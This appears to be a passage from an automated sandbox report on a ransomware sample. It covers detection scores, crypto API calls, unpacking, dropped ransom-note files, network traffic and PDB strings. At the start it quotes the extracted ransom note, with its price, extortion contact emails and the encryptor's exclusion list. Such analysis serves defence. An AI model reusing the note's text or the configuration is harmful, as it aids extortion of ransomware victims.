can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E

Multi AV Scanner detection for domain / URL

Source: sdfjhuz.com

Virustotal: Detection: 23%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Virustotal: Detection: 42%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Virustotal: Detection: 87%	Perma Link

Multi AV Scanner detection for submitted file

Source: Z4CYGTBlj7.exe	ReversingLabs: Detection: 39%
Source: Z4CYGTBlj7.exe	Virustotal: Detection: 38%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Z4CYGTBlj7.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	5_2_0040E870
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	5_2_0040EAA0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	5_2_00410FC0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00411178 CryptDestroyHash,CryptReleaseContext,	5_2_00411178
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	5_2_0040EA51
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	5_2_0040EC68

Source: Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_fb3562ec-1

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Unpacked PE file: 1.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Unpacked PE file: 5.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 7.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Unpacked PE file: 9.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 13.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Unpacked PE file: 15.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 19.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 23.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 28.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 30.2.mstsca.exe.400000.0.unpack

Source: Z4CYGTBlj7.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	File created: C:\Users\user\_README.txt

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.85.65.125:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49729 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003580000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\**GL. source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\40\9 source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369363954.0000000002FFF000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2146792053.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369887103.0000000003005000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2448417612.00000000034E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529621743.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530899173.00000000031EF000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446465700.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462953255.0000000003531000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\@< source: Z4CYGTBlj7.exe, 00000005.00000003.2556733211.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.00000000036E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2553638670.00000000036E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2549181963.0000000003669000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003638000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.0000000003632000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\*wiw source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539577263.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2536791659.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2541326417.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\3U6MX\.x source: Z4CYGTBlj7.exe, 00000005.00000003.2556880672.00000000035B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2447109075.00000000031A8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420425423.00000000031A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\q~ source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000008.00000002.2112430516.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.2109197817.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2110893317.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\j8& source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2549181963.0000000003669000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003638000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.0000000003632000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537083604.0000000003026000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537527973.0000000003032000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\94\* source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2464017365.0000000003022000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462548299.0000000003019000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461567107.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2448686090.000000000302B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2447180488.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421403214.000000000300A000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369286983.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2553740900.00000000035F9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554309548.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2447180488.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000B.00000000.2132410468.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000B.00000002.2245746608.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000F.00000000.2244925743.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000012.00000000.2256501220.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000012.00000002.2352884069.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.2351621244.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2560202146.0000000003700000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556733211.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2553638670.00000000036E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\s8 source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461069714.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523654226.0000000003531000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524603202.0000000003538000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463928484.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2489016567.00000000031E4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462953255.0000000003531000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490623508.00000000031F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs0>X source: Z4CYGTBlj7.exe, 00000005.00000003.2369107720.000000000322F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2368999913.00000000031E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525238514.00000000035C0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524845137.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\s{ source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421403214.000000000300A000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369286983.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2492203424.0000000003030000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2489261715.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490754280.000000000302B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490125322.000000000300F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490718283.0000000003024000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*r source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462548299.0000000003019000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461567107.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2447180488.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\h source: Z4CYGTBlj7.exe, 00000005.00000003.2554461458.0000000003509000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ry\FN source: Z4CYGTBlj7.exe, 00000005.00000003.2554424224.00000000036B9000.00000004.00000020.00020000.00000000.sdmp
